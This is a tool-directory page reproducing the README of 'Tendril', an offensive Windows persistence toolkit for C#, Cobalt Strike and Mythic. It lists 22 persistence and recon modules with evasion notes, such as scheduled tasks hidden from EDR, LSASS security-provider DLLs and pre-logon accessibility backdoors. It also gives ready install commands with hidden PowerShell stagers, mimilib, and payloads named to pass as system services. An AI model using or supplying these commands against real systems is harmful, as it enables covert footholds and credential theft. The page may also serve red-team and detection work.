Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tendril — C# & Beacon Object File Based Persistence Tool | Kitploit
Tools/GitHubGitHub/whispergate/tendril
Defensive ToolsPenetration Testing FrameworksPrivilege EscalationPersistence MechanismsExploitationPost-ExploitationCommand and ControlRed TeamingPayload Development
GitHubwhispergate/tendril

Tendril

C# & Beacon Object File Based Persistence Tool

1634 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
Share

Tendril

Modular persistence toolkit. C# assembly, unified BOF, Mythic command, and Cobalt Strike aggressor. 22 modules, 24/24 tested on live target.

Modules

ModuleTechniqueMITREAdminNotes
ComHijackCOM object hijackingT1546.015NoHKCU InProcServer32 override. DLL loads in explorer.exe on logon. Default targets: MMDeviceEnumerator, EhStorShell. Provide a proxy DLL to avoid breaking the shell.
WmiSubscriptionWMI event subscriptionT1546.003YesEventFilter + CommandLineEventConsumer + Binding in root\subscription. Lives in WMI repository (OBJECTS.DATA). No files, no registry, no services. Detection requires Sysmon 19/20/21.
GhostTaskHidden scheduled taskT1053.005YesCreates task via COM, deletes SD value from TaskCache\Tree. Invisible to schtasks /query, Task Scheduler GUI, and most EDR task enumeration. Scheduler still executes it.
RegistryRunKeyRegistry Run keyT1547.001NoRun/RunOnce with optional fileless mode: base64 payload stashed in separate registry value, Run entry points to a PS one-liner that reads and executes it.
ScreensaverBackdoorScreensaver hijackT1546.002NoSets SCRNSAVE.EXE in HKCU\Control Panel\Desktop. Fires on idle timeout.
IFEOInjectionIFEO debugger / SilentProcessExitT1546.012YesTwo modes. Debugger: payload launches instead of target. SilentProcessExit: payload launches when target exits (GlobalFlag 0x200 + MonitorProcess).
StartupFolderStartup folder LNKT1547.001No.lnk shortcut in user Startup via WScript.Shell COM. Custom icon, args, all-users (admin).
UserInitMprLogonLogon scriptT1037.001NoEnvironment: HKCU\Environment\UserInitMprLogonScript. Winlogon: appends to Userinit (admin).
WinlogonHelperWinlogon Shell/Notify/TaskmanT1547.004NoHKCU Shell override (no admin, per-user). HKLM Shell append, Taskman, Notify package DLLs (admin).
AppInitDllsAppInit_DLLsT1546.010YesDLL loads into every user32.dll process. Sets LoadAppInit_DLLs=1, clears signature requirement. x64 and x86 (Wow6432Node).
AccessibilityBackdoorAccessibility feature hijackT1546.008YesIFEO debugger on sethc/utilman/narrator/magnify/osk. Triggerable from RDP logon screen pre-auth.
PowerShellProfilePowerShell profile injectionT1546.013NoAppends payload to $PROFILE. Marker-based install/cleanup. CurrentUser = no admin.
ScheduledTaskHijackScheduled task action rewriteT1053.005NoRewrites existing task's <Command> in its XML. Task name/author/triggers stay intact. Backs up original.
NetshHelperDllNetsh helper DLLT1546.007YesRegisters DLL under HKLM\SOFTWARE\Microsoft\NetSh. Loads when netsh.exe runs. Baseline-aware check.
PortMonitorDllPrint Spooler port monitorT1547.010YesDLL loaded by spoolsv.exe as SYSTEM at boot. Registry: Print\Monitors\[Name]\Driver. DLL must be in System32.
SecuritySupportProviderLSASS SSPT1547.005YesDLL loaded by LSASS at boot via Lsa\Security Packages (REG_MULTI_SZ). Intercepts all auth events. Reboot required.
TimeProviderDllW32Time time providerT1547.003YesDLL loaded by W32Time service as SYSTEM. Registry: W32Time\TimeProviders\[Name]. Restart W32Time or reboot to load. Very low detection.
ActiveSetupActive Setup StubPathT1547.014YesHKLM version key triggers StubPath once per user logon. Fires for every new domain user. Executes as logged-on user, not SYSTEM.
BitsJobPersistBITS job notificationT1197YesBITS transfer job with notification command. Survives reboots, re-fires on logon. Runs as SYSTEM. Rarely audited.
DllSideloadEnumDLL sideload reconT1574.002NoRecon. Writable non-KnownDLL/non-system DLLs in running processes. Signed EXEs in writable dirs.
PathDllPlant%PATH% DLL plantingT1574.007NoRecon. Writable directories in system and user %PATH%.
ServiceBinaryHijackService binary / unquoted pathT1574.010NoRecon. Writable service binaries and unquoted paths with writable intermediate segments.

Usage

C# Assembly (standalone or execute-assembly)

Tendril.exe list
Tendril.exe check
Tendril.exe check ComHijack
Tendril.exe info GhostTask

Tendril.exe install ComHijack /payload:C:\proxy.dll /clsid:{BCDE0395-E52F-467C-8E3D-C4579291692E}
Tendril.exe install GhostTask /payload:C:\svc.exe /name:EdgeUpdate /trigger:logon
Tendril.exe install WmiSubscription /payload:"powershell -w hidden -c ..." /name:SysHealth
Tendril.exe install RegistryRunKey /payload:"calc.exe" /name:TestKey /fileless:true
Tendril.exe install IFEOInjection /target:notepad.exe /payload:C:\x.exe /mode:silent
Tendril.exe install ScreensaverBackdoor /payload:C:\p.scr /timeout:300
Tendril.exe install StartupFolder /payload:C:\svc.exe /name:SecurityHealth
Tendril.exe install UserInitMprLogon /payload:C:\logon.bat /variant:environment
Tendril.exe install WinlogonHelper /payload:C:\svc.exe /target:shell /hive:HKCU
Tendril.exe install AppInitDlls /payload:C:\hook.dll
Tendril.exe install AccessibilityBackdoor /target:sethc /payload:C:\cmd.exe /mode:ifeo
Tendril.exe install PowerShellProfile /payload:"iex(gc C:\stager.ps1)" /scope:currentuser
Tendril.exe install NetshHelperDll /payload:C:\helper.dll /name:nettrace
Tendril.exe install PortMonitorDll /payload:monitor.dll /name:LegitMonitor
Tendril.exe install SecuritySupportProvider /payload:mimilib
Tendril.exe install TimeProviderDll /payload:C:\Windows\System32\timeprov.dll /name:NtpSync
Tendril.exe install ActiveSetup /payload:C:\svc.exe /name:"Edge Helper"
Tendril.exe install BitsJobPersist /payload:C:\svc.exe /name:WindowsUpdate

Tendril.exe remove ComHijack /clsid:{BCDE0395-E52F-467C-8E3D-C4579291692E}
Tendril.exe remove GhostTask /name:EdgeUpdate

Cobalt Strike BOF

Single unified BOF. Load aggressor/tendril.cna:

tendril <module> <action> [arg1] [arg2] [arg3]

tendril com_hijack      install C:\proxy.dll {BCDE0395-E52F-467C-8E3D-C4579291692E}
tendril ghost_task      check
tendril registry_run    install C:\svc.exe UpdateSvc HKCU
tendril ifeo_inject     install C:\x.exe notepad.exe silent
tendril screensaver     install C:\p.scr 300
tendril appinit_dlls    install C:\hook.dll x64
tendril winlogon_helper install C:\svc.exe Shell HKCU
tendril accessibility   install C:\cmd.exe sethc.exe
tendril netsh_helper    install C:\helper.dll nettrace
tendril userinit_mpr    install C:\logon.bat
tendril port_monitor    install monitor.dll LegitMonitor
tendril ssp             install mimilib
tendril time_provider   install C:\timeprov.dll NtpSync
tendril active_setup    install C:\svc.exe {GUID} "Edge Helper"

Mythic (Apollo / EmeraldStrike)

Copy mythic/tendril.py into the agent's agent_functions/ directory. Upload the BOF via register_bof (EmeraldStrike) or register_file (Apollo). Optionally upload the .json schema alongside the .o for auto-format.

tendril com_hijack install C:\proxy.dll {BCDE0395-E52F-467C-8E3D-C4579291692E}
tendril ghost_task check
tendril ifeo_inject install C:\x.exe notepad.exe silent
tendril port_monitor install monitor.dll LegitMonitor
tendril active_setup install C:\svc.exe {GUID}

Or via inline_execute directly (EmeraldStrike, no tendril.py needed):

inline_execute -BOF tendril.x64.o -Arguments "0 0 C:\proxy.dll {BCDE0395} Both" -ArgumentTypes ssZZZ

BOF argument format: ssZZZ - two int16 (module ID, action ID) + three wide strings.

IDModuleIDModule
0com_hijack7accessibility
1ghost_task8netsh_helper
2registry_run9userinit_mpr
3screensaver10port_monitor
4ifeo_inject11ssp
5appinit_dlls12time_provider
6winlogon_helper13active_setup

Action IDs: 0=install, 1=remove, 2=check

Building

Download Tool